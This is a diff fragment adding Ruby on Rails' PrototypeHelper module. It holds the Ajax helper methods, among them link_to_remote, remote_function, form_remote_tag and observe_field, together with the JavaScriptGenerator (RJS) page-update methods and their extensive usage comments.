+    # the layout to be transmitted back to your page, and, if you have a full HTML/CSS, will likely mess a lot of things up.
+    # You can turn the layout off on particular actions by doing the following:
+    #
+    #  class SiteController < ActionController::Base
+    #    layout "standard", :except => [:ajax_method, :more_ajax, :another_ajax]
+    #  end
+    #
+    # Optionally, you could do this in the method you wish to lack a layout:
+    #
+    #  render :layout => false
+    #
+    # You can tell the type of request from within your action using the <tt>request.xhr?</tt> (XmlHttpRequest, the
+    # method that Ajax uses to make background requests) method.
+    #  def name
+    #    # Is this an XmlHttpRequest request?
+    #    if (request.xhr?)
+    #      render :text => @name.to_s
+    #    else
+    #      # No?  Then render an action.
+    #      render :action => 'view_attribute', :attr => @name
+    #    end
+    #  end
+    #
+    # The else clause can be left off and the current action will render with full layout and template. An extension
+    # to this solution was posted to Ryan Heneise's blog at ArtOfMission["http://www.artofmission.com/"].
+    #
+    #  layout proc{ |c| c.request.xhr? ? false : "application" }
+    #
+    # Dropping this in your ApplicationController turns the layout off for every request that is an "xhr" request.
+    #
+    # If you are just returning a little data or don't want to build a template for your output, you may opt to simply
+    # render text output, like this:
+    #
+    #  render :text => 'Return this from my method!'
+    #
+    # Since whatever the method returns is injected into the DOM, this will simply inject some text (or HTML, if you
+    # tell it to).  This is usually how small updates, such updating a cart total or a file count, are handled.
+    #
+    # == Updating multiple elements
+    # See JavaScriptGenerator for information on updating multiple elements
+    # on the page in an Ajax response.
+    module PrototypeHelper
+      unless const_defined? :CALLBACKS
+        CALLBACKS    = Set.new([ :uninitialized, :loading, :loaded,
+                         :interactive, :complete, :failure, :success ] +
+                         (100..599).to_a)
+        AJAX_OPTIONS = Set.new([ :before, :after, :condition, :url,
+                         :asynchronous, :method, :insertion, :position,
+                         :form, :with, :update, :script, :type ]).merge(CALLBACKS)
+      end
+
+      # Returns a link to a remote action defined by <tt>options[:url]</tt>
+      # (using the url_for format) that's called in the background using
+      # XMLHttpRequest. The result of that request can then be inserted into a
+      # DOM object whose id can be specified with <tt>options[:update]</tt>.
+      # Usually, the result would be a partial prepared by the controller with
+      # render :partial.
+      #
+      # Examples:
+      #   # Generates: <a href="#" onclick="new Ajax.Updater('posts', '/blog/destroy/3', {asynchronous:true, evalScripts:true});
+      #   #            return false;">Delete this post</a>
+      #   link_to_remote "Delete this post", :update => "posts",
+      #     :url => { :action => "destroy", :id => post.id }
+      #
+      #   # Generates: <a href="#" onclick="new Ajax.Updater('emails', '/mail/list_emails', {asynchronous:true, evalScripts:true});
+      #   #            return false;"><img alt="Refresh" src="/images/refresh.png?" /></a>
+      #   link_to_remote(image_tag("refresh"), :update => "emails",
+      #     :url => { :action => "list_emails" })
+      #
+      # You can override the generated HTML options by specifying a hash in
+      # <tt>options[:html]</tt>.
+      #
+      #   link_to_remote "Delete this post", :update => "posts",
+      #     :url  => post_url(@post), :method => :delete,
+      #     :html => { :class  => "destructive" }
+      #
+      # You can also specify a hash for <tt>options[:update]</tt> to allow for
+      # easy redirection of output to an other DOM element if a server-side
+      # error occurs:
+      #
+      # Example:
+      #   # Generates: <a href="#" onclick="new Ajax.Updater({success:'posts',failure:'error'}, '/blog/destroy/5',
+      #   #            {asynchronous:true, evalScripts:true}); return false;">Delete this post</a>
+      #   link_to_remote "Delete this post",
+      #     :url => { :action => "destroy", :id => post.id },
+      #     :update => { :success => "posts", :failure => "error" }
+      #
+      # Optionally, you can use the <tt>options[:position]</tt> parameter to
+      # influence how the target DOM element is updated. It must be one of
+      # <tt>:before</tt>, <tt>:top</tt>, <tt>:bottom</tt>, or <tt>:after</tt>.
+      #
+      # The method used is by default POST. You can also specify GET or you
+      # can simulate PUT or DELETE over POST. All specified with <tt>options[:method]</tt>
+      #
+      # Example:
+      #   # Generates: <a href="#" onclick="new Ajax.Request('/person/4', {asynchronous:true, evalScripts:true, method:'delete'});
+      #   #            return false;">Destroy</a>
+      #   link_to_remote "Destroy", :url => person_url(:id => person), :method => :delete
+      #
+      # By default, these remote requests are processed asynchronous during
+      # which various JavaScript callbacks can be triggered (for progress
+      # indicators and the likes). All callbacks get access to the
+      # <tt>request</tt> object, which holds the underlying XMLHttpRequest.
+      #
+      # To access the server response, use <tt>request.responseText</tt>, to
+      # find out the HTTP status, use <tt>request.status</tt>.
+      #
+      # Example:
+      #   # Generates: <a href="#" onclick="new Ajax.Request('/words/undo?n=33', {asynchronous:true, evalScripts:true,
+      #   #            onComplete:function(request){undoRequestCompleted(request)}}); return false;">hello</a>
+      #   word = 'hello'
+      #   link_to_remote word,
+      #     :url => { :action => "undo", :n => word_counter },
+      #     :complete => "undoRequestCompleted(request)"
+      #
+      # The callbacks that may be specified are (in order):
+      #
+      # <tt>:loading</tt>::       Called when the remote document is being
+      #                           loaded with data by the browser.
+      # <tt>:loaded</tt>::        Called when the browser has finished loading
+      #                           the remote document.
+      # <tt>:interactive</tt>::   Called when the user can interact with the
+      #                           remote document, even though it has not
+      #                           finished loading.
+      # <tt>:success</tt>::       Called when the XMLHttpRequest is completed,
+      #                           and the HTTP status code is in the 2XX range.
+      # <tt>:failure</tt>::       Called when the XMLHttpRequest is completed,
+      #                           and the HTTP status code is not in the 2XX
+      #                           range.
+      # <tt>:complete</tt>::      Called when the XMLHttpRequest is complete
+      #                           (fires after success/failure if they are
+      #                           present).
+      #
+      # You can further refine <tt>:success</tt> and <tt>:failure</tt> by
+      # adding additional callbacks for specific status codes.
+      #
+      # Example:
+      #   # Generates: <a href="#" onclick="new Ajax.Request('/testing/action', {asynchronous:true, evalScripts:true,
+      #   #            on404:function(request){alert('Not found...? Wrong URL...?')},
+      #   #            onFailure:function(request){alert('HTTP Error ' + request.status + '!')}}); return false;">hello</a>
+      #   link_to_remote word,
+      #     :url => { :action => "action" },
+      #     404 => "alert('Not found...? Wrong URL...?')",
+      #     :failure => "alert('HTTP Error ' + request.status + '!')"
+      #
+      # A status code callback overrides the success/failure handlers if
+      # present.
+      #
+      # If you for some reason or another need synchronous processing (that'll
+      # block the browser while the request is happening), you can specify
+      # <tt>options[:type] = :synchronous</tt>.
+      #
+      # You can customize further browser side call logic by passing in
+      # JavaScript code snippets via some optional parameters. In their order
+      # of use these are:
+      #
+      # <tt>:confirm</tt>::      Adds confirmation dialog.
+      # <tt>:condition</tt>::    Perform remote request conditionally
+      #                          by this expression. Use this to
+      #                          describe browser-side conditions when
+      #                          request should not be initiated.
+      # <tt>:before</tt>::       Called before request is initiated.
+      # <tt>:after</tt>::        Called immediately after request was
+      #                          initiated and before <tt>:loading</tt>.
+      # <tt>:submit</tt>::       Specifies the DOM element ID that's used
+      #                          as the parent of the form elements. By
+      #                          default this is the current form, but
+      #                          it could just as well be the ID of a
+      #                          table row or any other DOM element.
+      # <tt>:with</tt>::         A JavaScript expression specifying
+      #                          the parameters for the XMLHttpRequest.
+      #                          Any expressions should return a valid
+      #                          URL query string.
+      #
+      #                          Example:
+      #
+      #                            :with => "'name=' + $('name').value"
+      #
+      # You can generate a link that uses AJAX in the general case, while
+      # degrading gracefully to plain link behavior in the absence of
+      # JavaScript by setting <tt>html_options[:href]</tt> to an alternate URL.
+      # Note the extra curly braces around the <tt>options</tt> hash separate
+      # it as the second parameter from <tt>html_options</tt>, the third.
+      #
+      # Example:
+      #   link_to_remote "Delete this post",
+      #     { :update => "posts", :url => { :action => "destroy", :id => post.id } },
+      #     :href => url_for(:action => "destroy", :id => post.id)
+      def link_to_remote(name, options = {}, html_options = nil)
+        link_to_function(name, remote_function(options), html_options || options.delete(:html))
+      end
+
+      # Creates a button with an onclick event which calls a remote action
+      # via XMLHttpRequest
+      # The options for specifying the target with :url
+      # and defining callbacks is the same as link_to_remote.
+      def button_to_remote(name, options = {}, html_options = {})
+        button_to_function(name, remote_function(options), html_options)
+      end
+
+      # Periodically calls the specified url (<tt>options[:url]</tt>) every
+      # <tt>options[:frequency]</tt> seconds (default is 10). Usually used to
+      # update a specified div (<tt>options[:update]</tt>) with the results
+      # of the remote call. The options for specifying the target with <tt>:url</tt>
+      # and defining callbacks is the same as link_to_remote.
+      # Examples:
+      #  # Call get_averages and put its results in 'avg' every 10 seconds
+      #  # Generates:
+      #  #      new PeriodicalExecuter(function() {new Ajax.Updater('avg', '/grades/get_averages',
+      #  #      {asynchronous:true, evalScripts:true})}, 10)
+      #  periodically_call_remote(:url => { :action => 'get_averages' }, :update => 'avg')
+      #
+      #  # Call invoice every 10 seconds with the id of the customer
+      #  # If it succeeds, update the invoice DIV; if it fails, update the error DIV
+      #  # Generates:
+      #  #      new PeriodicalExecuter(function() {new Ajax.Updater({success:'invoice',failure:'error'},
+      #  #      '/testing/invoice/16', {asynchronous:true, evalScripts:true})}, 10)
+      #  periodically_call_remote(:url => { :action => 'invoice', :id => customer.id },
+      #     :update => { :success => "invoice", :failure => "error" }
+      #
+      #  # Call update every 20 seconds and update the new_block DIV
+      #  # Generates:
+      #  # new PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20)
+      #  periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block')
+      #
+      def periodically_call_remote(options = {})
+         frequency = options[:frequency] || 10 # every ten seconds by default
+         code = "new PeriodicalExecuter(function() {#{remote_function(options)}}, #{frequency})"
+         javascript_tag(code)
+      end
+
+      # Returns a form tag that will submit using XMLHttpRequest in the
+      # background instead of the regular reloading POST arrangement. Even
+      # though it's using JavaScript to serialize the form elements, the form
+      # submission will work just like a regular submission as viewed by the
+      # receiving side (all elements available in <tt>params</tt>). The options for
+      # specifying the target with <tt>:url</tt> and defining callbacks is the same as
+      # +link_to_remote+.
+      #
+      # A "fall-through" target for browsers that doesn't do JavaScript can be
+      # specified with the <tt>:action</tt>/<tt>:method</tt> options on <tt>:html</tt>.
+      #
+      # Example:
+      #   # Generates:
+      #   #      <form action="/some/place" method="post" onsubmit="new Ajax.Request('',
+      #   #      {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">
+      #   form_remote_tag :html => { :action =>
+      #     url_for(:controller => "some", :action => "place") }
+      #
+      # The Hash passed to the <tt>:html</tt> key is equivalent to the options (2nd)
+      # argument in the FormTagHelper.form_tag method.
+      #
+      # By default the fall-through action is the same as the one specified in
+      # the <tt>:url</tt> (and the default method is <tt>:post</tt>).
+      #
+      # form_remote_tag also takes a block, like form_tag:
+      #   # Generates:
+      #   #     <form action="/" method="post" onsubmit="new Ajax.Request('/',
+      #   #     {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)});
+      #   #     return false;"> <div><input name="commit" type="submit" value="Save" /></div>
+      #   #     </form>
+      #   <% form_remote_tag :url => '/posts' do -%>
+      #     <div><%= submit_tag 'Save' %></div>
+      #   <% end -%>
+      def form_remote_tag(options = {}, &block)
+        options[:form] = true
+
+        options[:html] ||= {}
+        options[:html][:onsubmit] =
+          (options[:html][:onsubmit] ? options[:html][:onsubmit] + "; " : "") +
+          "#{remote_function(options)}; return false;"
+
+        form_tag(options[:html].delete(:action) || url_for(options[:url]), options[:html], &block)
+      end
+
+      # Creates a form that will submit using XMLHttpRequest in the background
+      # instead of the regular reloading POST arrangement and a scope around a
+      # specific resource that is used as a base for questioning about
+      # values for the fields.
+      #
+      # === Resource
+      #
+      # Example:
+      #   <% remote_form_for(@post) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # This will expand to be the same as:
+      #
+      #   <% remote_form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # === Nested Resource
+      #
+      # Example:
+      #   <% remote_form_for([@post, @comment]) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # This will expand to be the same as:
+      #
+      #   <% remote_form_for :comment, @comment, :url => post_comment_path(@post, @comment), :html => { :method => :put, :class => "edit_comment", :id => "edit_comment_45" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # If you don't need to attach a form to a resource, then check out form_remote_tag.
+      #
+      # See FormHelper#form_for for additional semantics.
+      def remote_form_for(record_or_name_or_array, *args, &proc)
+        options = args.extract_options!
+
+        case record_or_name_or_array
+        when String, Symbol
+          object_name = record_or_name_or_array
+        when Array
+          object = record_or_name_or_array.last
+          object_name = ActionController::RecordIdentifier.singular_class_name(object)
+          apply_form_for_options!(record_or_name_or_array, options)
+          args.unshift object
+        else
+          object      = record_or_name_or_array
+          object_name = ActionController::RecordIdentifier.singular_class_name(record_or_name_or_array)
+          apply_form_for_options!(object, options)
+          args.unshift object
+        end
+
+        concat(form_remote_tag(options))
+        fields_for(object_name, *(args << options), &proc)
+        concat('</form>')
+      end
+      alias_method :form_remote_for, :remote_form_for
+
+      # Returns a button input tag with the element name of +name+ and a value (i.e., display text) of +value+
+      # that will submit form using XMLHttpRequest in the background instead of a regular POST request that
+      # reloads the page.
+      #
+      #  # Create a button that submits to the create action
+      #  #
+      #  # Generates: <input name="create_btn" onclick="new Ajax.Request('/testing/create',
+      #  #     {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
+      #  #     return false;" type="button" value="Create" />
+      #  <%= submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' } %>
+      #
+      #  # Submit to the remote action update and update the DIV succeed or fail based
+      #  # on the success or failure of the request
+      #  #
+      #  # Generates: <input name="update_btn" onclick="new Ajax.Updater({success:'succeed',failure:'fail'},
+      #  #      '/testing/update', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
+      #  #      return false;" type="button" value="Update" />
+      #  <%= submit_to_remote 'update_btn', 'Update', :url => { :action => 'update' },
+      #     :update => { :success => "succeed", :failure => "fail" }
+      #
+      # <tt>options</tt> argument is the same as in form_remote_tag.
+      def submit_to_remote(name, value, options = {})
+        options[:with] ||= 'Form.serialize(this.form)'
+
+        html_options = options.delete(:html) || {}
+        html_options[:name] = name
+
+        button_to_remote(value, options, html_options)
+      end
+
+      # Returns '<tt>eval(request.responseText)</tt>' which is the JavaScript function
+      # that +form_remote_tag+ can call in <tt>:complete</tt> to evaluate a multiple
+      # update return document using +update_element_function+ calls.
+      def evaluate_remote_response
+        "eval(request.responseText)"
+      end
+
+      # Returns the JavaScript needed for a remote function.
+      # Takes the same arguments as link_to_remote.
+      #
+      # Example:
+      #   # Generates: <select id="options" onchange="new Ajax.Updater('options',
+      #   # '/testing/update_options', {asynchronous:true, evalScripts:true})">
+      #   <select id="options" onchange="<%= remote_function(:update => "options",
+      #       :url => { :action => :update_options }) %>">
+      #     <option value="0">Hello</option>
+      #     <option value="1">World</option>
+      #   </select>
+      def remote_function(options)
+        javascript_options = options_for_ajax(options)
+
+        update = ''
+        if options[:update] && options[:update].is_a?(Hash)
+          update  = []
+          update << "success:'#{options[:update][:success]}'" if options[:update][:success]
+          update << "failure:'#{options[:update][:failure]}'" if options[:update][:failure]
+          update  = '{' + update.join(',') + '}'
+        elsif options[:update]
+          update << "'#{options[:update]}'"
+        end
+
+        function = update.empty? ?
+          "new Ajax.Request(" :
+          "new Ajax.Updater(#{update}, "
+
+        url_options = options[:url]
+        url_options = url_options.merge(:escape => false) if url_options.is_a?(Hash)
+        function << "'#{escape_javascript(url_for(url_options))}'"
+        function << ", #{javascript_options})"
+
+        function = "#{options[:before]}; #{function}" if options[:before]
+        function = "#{function}; #{options[:after]}"  if options[:after]
+        function = "if (#{options[:condition]}) { #{function}; }" if options[:condition]
+        function = "if (confirm('#{escape_javascript(options[:confirm])}')) { #{function}; }" if options[:confirm]
+
+        return function
+      end
+
+      # Observes the field with the DOM ID specified by +field_id+ and calls a
+      # callback when its contents have changed. The default callback is an
+      # Ajax call. By default the value of the observed field is sent as a
+      # parameter with the Ajax call.
+      #
+      # Example:
+      #  # Generates: new Form.Element.Observer('suggest', 0.25, function(element, value) {new Ajax.Updater('suggest',
+      #  #         '/testing/find_suggestion', {asynchronous:true, evalScripts:true, parameters:'q=' + value})})
+      #  <%= observe_field :suggest, :url => { :action => :find_suggestion },
+      #       :frequency => 0.25,
+      #       :update => :suggest,
+      #       :with => 'q'
+      #       %>
+      #
+      # Required +options+ are either of:
+      # <tt>:url</tt>::       +url_for+-style options for the action to call
+      #                       when the field has changed.
+      # <tt>:function</tt>::  Instead of making a remote call to a URL, you
+      #                       can specify javascript code to be called instead.
+      #                       Note that the value of this option is used as the
+      #                       *body* of the javascript function, a function definition
+      #                       with parameters named element and value will be generated for you
+      #                       for example:
+      #                         observe_field("glass", :frequency => 1, :function => "alert('Element changed')")
+      #                       will generate:
+      #                         new Form.Element.Observer('glass', 1, function(element, value) {alert('Element changed')})
+      #                       The element parameter is the DOM element being observed, and the value is its value at the
+      #                       time the observer is triggered.
+      #
+      # Additional options are:
+      # <tt>:frequency</tt>:: The frequency (in seconds) at which changes to
+      #                       this field will be detected. Not setting this
+      #                       option at all or to a value equal to or less than
+      #                       zero will use event based observation instead of
+      #                       time based observation.
+      # <tt>:update</tt>::    Specifies the DOM ID of the element whose
+      #                       innerHTML should be updated with the
+      #                       XMLHttpRequest response text.
+      # <tt>:with</tt>::      A JavaScript expression specifying the parameters
+      #                       for the XMLHttpRequest. The default is to send the
+      #                       key and value of the observed field. Any custom
+      #                       expressions should return a valid URL query string.
+      #                       The value of the field is stored in the JavaScript
+      #                       variable +value+.
+      #
+      #                       Examples
+      #
+      #                         :with => "'my_custom_key=' + value"
+      #                         :with => "'person[name]=' + prompt('New name')"
+      #                         :with => "Form.Element.serialize('other-field')"
+      #
+      #                       Finally
+      #                         :with => 'name'
+      #                       is shorthand for
+      #                         :with => "'name=' + value"
+      #                       This essentially just changes the key of the parameter.
+      # <tt>:on</tt>::        Specifies which event handler to observe. By default,
+      #                       it's set to "changed" for text fields and areas and
+      #                       "click" for radio buttons and checkboxes. With this,
+      #                       you can specify it instead to be "blur" or "focus" or
+      #                       any other event.
+      #
+      # Additionally, you may specify any of the options documented in the
+      # <em>Common options</em> section at the top of this document.
+      #
+      # Example:
+      #
+      #   # Sends params: {:title => 'Title of the book'} when the book_title input
+      #   # field is changed.
+      #   observe_field 'book_title',
+      #     :url => 'http://example.com/books/edit/1',
+      #     :with => 'title'
+      #
+      #   # Sends params: {:book_title => 'Title of the book'} when the focus leaves
+      #   # the input field.
+      #   observe_field 'book_title',
+      #     :url => 'http://example.com/books/edit/1',
+      #     :on => 'blur'
+      #
+      def observe_field(field_id, options = {})
+        if options[:frequency] && options[:frequency] > 0
+          build_observer('Form.Element.Observer', field_id, options)
+        else
+          build_observer('Form.Element.EventObserver', field_id, options)
+        end
+      end
+
+      # Observes the form with the DOM ID specified by +form_id+ and calls a
+      # callback when its contents have changed. The default callback is an
+      # Ajax call. By default all fields of the observed field are sent as
+      # parameters with the Ajax call.
+      #
+      # The +options+ for +observe_form+ are the same as the options for
+      # +observe_field+. The JavaScript variable +value+ available to the
+      # <tt>:with</tt> option is set to the serialized form by default.
+      def observe_form(form_id, options = {})
+        if options[:frequency]
+          build_observer('Form.Observer', form_id, options)
+        else
+          build_observer('Form.EventObserver', form_id, options)
+        end
+      end
+
+      # All the methods were moved to GeneratorMethods so that
+      # #include_helpers_from_context has nothing to overwrite.
+      class JavaScriptGenerator #:nodoc:
+        def initialize(context, &block) #:nodoc:
+          @context, @lines = context, []
+          include_helpers_from_context
+          @context.with_output_buffer(@lines) do
+            @context.instance_exec(self, &block)
+          end
+        end
+
+        private
+          def include_helpers_from_context
+            extend @context.helpers if @context.respond_to?(:helpers)
+            extend GeneratorMethods
+          end
+
+        # JavaScriptGenerator generates blocks of JavaScript code that allow you
+        # to change the content and presentation of multiple DOM elements.  Use
+        # this in your Ajax response bodies, either in a <script> tag or as plain
+        # JavaScript sent with a Content-type of "text/javascript".
+        #
+        # Create new instances with PrototypeHelper#update_page or with
+        # ActionController::Base#render, then call +insert_html+, +replace_html+,
+        # +remove+, +show+, +hide+, +visual_effect+, or any other of the built-in
+        # methods on the yielded generator in any order you like to modify the
+        # content and appearance of the current page.
+        #
+        # Example:
+        #
+        #   # Generates:
+        #   #     new Element.insert("list", { bottom: "<li>Some item</li>" });
+        #   #     new Effect.Highlight("list");
+        #   #     ["status-indicator", "cancel-link"].each(Element.hide);
+        #   update_page do |page|
+        #     page.insert_html :bottom, 'list', "<li>#{@item.name}</li>"
+        #     page.visual_effect :highlight, 'list'
+        #     page.hide 'status-indicator', 'cancel-link'
+        #   end
+        #
+        #
+        # Helper methods can be used in conjunction with JavaScriptGenerator.
+        # When a helper method is called inside an update block on the +page+
+        # object, that method will also have access to a +page+ object.
+        #
+        # Example:
+        #
+        #   module ApplicationHelper
+        #     def update_time
+        #       page.replace_html 'time', Time.now.to_s(:db)
+        #       page.visual_effect :highlight, 'time'
+        #     end
+        #   end
+        #
+        #   # Controller action
+        #   def poll
+        #     render(:update) { |page| page.update_time }
+        #   end
+        #
+        # Calls to JavaScriptGenerator not matching a helper method below
+        # generate a proxy to the JavaScript Class named by the method called.
+        #
+        # Examples:
+        #
+        #   # Generates:
+        #   #     Foo.init();
+        #   update_page do |page|
+        #     page.foo.init
+        #   end
+        #
+        #   # Generates:
+        #   #     Event.observe('one', 'click', function () {
+        #   #       $('two').show();
+        #   #     });
+        #   update_page do |page|
+        #     page.event.observe('one', 'click') do |p|
+        #      p[:two].show
+        #     end
+        #   end
+        #
+        # You can also use PrototypeHelper#update_page_tag instead of
+        # PrototypeHelper#update_page to wrap the generated JavaScript in a
+        # <script> tag.
+        module GeneratorMethods
+          def to_s #:nodoc:
+            returning javascript = @lines * $/ do
+              if ActionView::Base.debug_rjs
+                source = javascript.dup
+                javascript.replace "try {\n#{source}\n} catch (e) "
+                javascript << "{ alert('RJS error:\\n\\n' + e.toString()); alert('#{source.gsub('\\','\0\0').gsub(/\r\n|\n|\r/, "\\n").gsub(/["']/) { |m| "\\#{m}" }}'); throw e }"
+              end
+            end
+          end
+
+          # Returns a element reference by finding it through +id+ in the DOM. This element can then be
+          # used for further method calls. Examples:
+          #
+          #   page['blank_slate']                  # => $('blank_slate');
+          #   page['blank_slate'].show             # => $('blank_slate').show();
+          #   page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
+          #
+          # You can also pass in a record, which will use ActionController::RecordIdentifier.dom_id to lookup
+          # the correct id:
+          #
+          #   page[@post]     # => $('post_45')
+          #   page[Post.new]  # => $('new_post')
+          def [](id)
+            case id
+              when String, Symbol, NilClass
+                JavaScriptElementProxy.new(self, id)
+              else
+                JavaScriptElementProxy.new(self, ActionController::RecordIdentifier.dom_id(id))
+            end
+          end
+
+          # Returns an object whose <tt>to_json</tt> evaluates to +code+. Use this to pass a literal JavaScript
+          # expression as an argument to another JavaScriptGenerator method.
+          def literal(code)
+            ActiveSupport::JSON::Variable.new(code.to_s)
+          end
+
+          # Returns a collection reference by finding it through a CSS +pattern+ in the DOM. This collection can then be
+          # used for further method calls. Examples:
+          #
+          #   page.select('p')                      # => $$('p');
+          #   page.select('p.welcome b').first      # => $$('p.welcome b').first();
+          #   page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
+          #
+          # You can also use prototype enumerations with the collection.  Observe:
+          #
+          #   # Generates: $$('#items li').each(function(value) { value.hide(); });
+          #   page.select('#items li').each do |value|
+          #     value.hide
+          #   end
+          #
+          # Though you can call the block param anything you want, they are always rendered in the
+          # javascript as 'value, index.'  Other enumerations, like collect() return the last statement:
+          #
+          #   # Generates: var hidden = $$('#items li').collect(function(value, index) { return value.hide(); });
+          #   page.select('#items li').collect('hidden') do |item|
+          #     item.hide
+          #   end
+          #
+          def select(pattern)
+            JavaScriptElementCollectionProxy.new(self, pattern)
+          end
+
+          # Inserts HTML at the specified +position+ relative to the DOM element
+          # identified by the given +id+.
+          #
+          # +position+ may be one of:
+          #
+          # <tt>:top</tt>::    HTML is inserted inside the element, before the
+          #                    element's existing content.
+          # <tt>:bottom</tt>:: HTML is inserted inside the element, after the
+          #                    element's existing content.
+          # <tt>:before</tt>:: HTML is inserted immediately preceding the element.
+          # <tt>:after</tt>::  HTML is inserted immediately following the element.
+          #
+          # +options_for_render+ may be either a string of HTML to insert, or a hash
+          # of options to be passed to ActionView::Base#render.  For example:
+          #
+          #   # Insert the rendered 'navigation' partial just before the DOM
+          #   # element with ID 'content'.
+          #   # Generates: Element.insert("content", { before: "-- Contents of 'navigation' partial --" });
+          #   page.insert_html :before, 'content', :partial => 'navigation'
+          #
+          #   # Add a list item to the bottom of the <ul> with ID 'list'.
+          #   # Generates: Element.insert("list", { bottom: "<li>Last item</li>" });
+          #   page.insert_html :bottom, 'list', '<li>Last item</li>'
+          #
+          def insert_html(position, id, *options_for_render)
+            content = javascript_object_for(render(*options_for_render))
+            record "Element.insert(\"#{id}\", { #{position.to_s.downcase}: #{content} });"
+          end
+
+          # Replaces the inner HTML of the DOM element with the given +id+.
+          #
+          # +options_for_render+ may be either a string of HTML to insert, or a hash
+          # of options to be passed to ActionView::Base#render.  For example:
+          #
+          #   # Replace the HTML of the DOM element having ID 'person-45' with the
+          #   # 'person' partial for the appropriate object.
+          #   # Generates:  Element.update("person-45", "-- Contents of 'person' partial --");
+          #   page.replace_html 'person-45', :partial => 'person', :object => @person
+          #
+          def replace_html(id, *options_for_render)
+            call 'Element.update', id, render(*options_for_render)
+          end
+
+          # Replaces the "outer HTML" (i.e., the entire element, not just its
+          # contents) of the DOM element with the given +id+.
+          #
+          # +options_for_render+ may be either a string of HTML to insert, or a hash
+          # of options to be passed to ActionView::Base#render.  For example:
+          #
+          #   # Replace the DOM element having ID 'person-45' with the
+          #   # 'person' partial for the appropriate object.
+          #   page.replace 'person-45', :partial => 'person', :object => @person
+          #
+          # This allows the same partial that is used for the +insert_html+ to
+          # be also used for the input to +replace+ without resorting to
+          # the use of wrapper elements.
+          #
+          # Examples:
+          #
+          #   <div id="people">
+          #     <%= render :partial => 'person', :collection => @people %>
+          #   </div>
+          #
+          #   # Insert a new person
+          #   #
+          #   # Generates: new Insertion.Bottom({object: "Matz", partial: "person"}, "");
+          #   page.insert_html :bottom, :partial => 'person', :object => @person
+          #
+          #   # Replace an existing person
+          #
+          #   # Generates: Element.replace("person_45", "-- Contents of partial --");
+          #   page.replace 'person_45', :partial => 'person', :object => @person
+          #
+          def replace(id, *options_for_render)
+            call 'Element.replace', id, render(*options_for_render)
+          end
+
+          # Removes the DOM elements with the given +ids+ from the page.
+          #
+          # Example:
+          #
+          #  # Remove a few people
+          #  # Generates: ["person_23", "person_9", "person_2"].each(Element.remove);
+          #  page.remove 'person_23', 'person_9', 'person_2'
+          #
+          def remove(*ids)
+            loop_on_multiple_args 'Element.remove', ids
+          end
+
+          # Shows hidden DOM elements with the given +ids+.
+          #
+          # Example:
+          #
+          #  # Show a few people
+          #  # Generates: ["person_6", "person_13", "person_223"].each(Element.show);
+          #  page.show 'person_6', 'person_13', 'person_223'
+          #
+          def show(*ids)
+            loop_on_multiple_args 'Element.show', ids
+          end
+
+          # Hides the visible DOM elements with the given +ids+.
+          #
+          # Example:
+          #
+          #  # Hide a few people
+          #  # Generates: ["person_29", "person_9", "person_0"].each(Element.hide);
+          #  page.hide 'person_29', 'person_9', 'person_0'
+          #
+          def hide(*ids)
+            loop_on_multiple_args 'Element.hide', ids
+          end
+
+          # Toggles the visibility of the DOM elements with the given +ids+.
+          # Example:
+          #
+          #  # Show a few people
+          #  # Generates: ["person_14", "person_12", "person_23"].each(Element.toggle);
+          #  page.toggle 'person_14', 'person_12', 'person_23'      # Hides the elements
+          #  page.toggle 'person_14', 'person_12', 'person_23'      # Shows the previously hidden elements
+          #
+          def toggle(*ids)
+            loop_on_multiple_args 'Element.toggle', ids
+          end
+
+          # Displays an alert dialog with the given +message+.
+          #
+          # Example:
+          #
+          #   # Generates: alert('This message is from Rails!')
+          #   page.alert('This message is from Rails!')
+          def alert(message)
+            call 'alert', message
+          end
+
+          # Redirects the browser to the given +location+ using JavaScript, in the same form as +url_for+.
+          #
+          # Examples:
+          #
+          #  # Generates: window.location.href = "/mycontroller";
+          #  page.redirect_to(:action => 'index')
+          #
+          #  # Generates: window.location.href = "/account/signup";
+          #  page.redirect_to(:controller => 'account', :action => 'signup')
+          def redirect_to(location)
+            url = location.is_a?(String) ? location : @context.url_for(location)
+            record "window.location.href = #{url.inspect}"
+          end
+
+          # Reloads the browser's current +location+ using JavaScript
+          #
+          # Examples:
+          #
+          #  # Generates: window.location.reload();
+          #  page.reload
+          def reload
+            record 'window.location.reload()'
+          end
+
+          # Calls the JavaScript +function+, optionally with the given +arguments+.
+          #
+          # If a block is given, the block will be passed to a new JavaScriptGenerator;
+          # the resulting JavaScript code will then be wrapped inside <tt>function() { ... }</tt>
+          # and passed as the called function's final argument.
+          #
+          # Examples:
+          #
+          #   # Generates: Element.replace(my_element, "My content to replace with.")
+          #   page.call 'Element.replace', 'my_element', "My content to replace with."
+          #
+          #   # Generates: alert('My message!')
+          #   page.call 'alert', 'My message!'
+          #
+          #   # Generates:
+          #   #     my_method(function() {
+          #   #       $("one").show();
+          #   #       $("two").hide();
+          #   #    });
+          #   page.call(:my_method) do |p|
+          #      p[:one].show
+          #      p[:two].hide
+          #   end
+          def call(function, *arguments, &block)
+            record "#{function}(#{arguments_for_call(arguments, block)})"
+          end
+
+          # Assigns the JavaScript +variable+ the given +value+.
+          #
+          # Examples:
+          #
+          #  # Generates: my_string = "This is mine!";
+          #  page.assign 'my_string', 'This is mine!'
+          #
+          #  # Generates: record_count = 33;
+          #  page.assign 'record_count', 33
+          #
+          #  # Generates: tabulated_total = 47
+          #  page.assign 'tabulated_total', @total_from_cart
+          #
+          def assign(variable, value)
+            record "#{variable} = #{javascript_object_for(value)}"
+          end
+
+          # Writes raw JavaScript to the page.
+          #
+          # Example:
+          #
+          #  page << "alert('JavaScript with Prototype.');"
+          def <<(javascript)
+            @lines << javascript
+          end
+
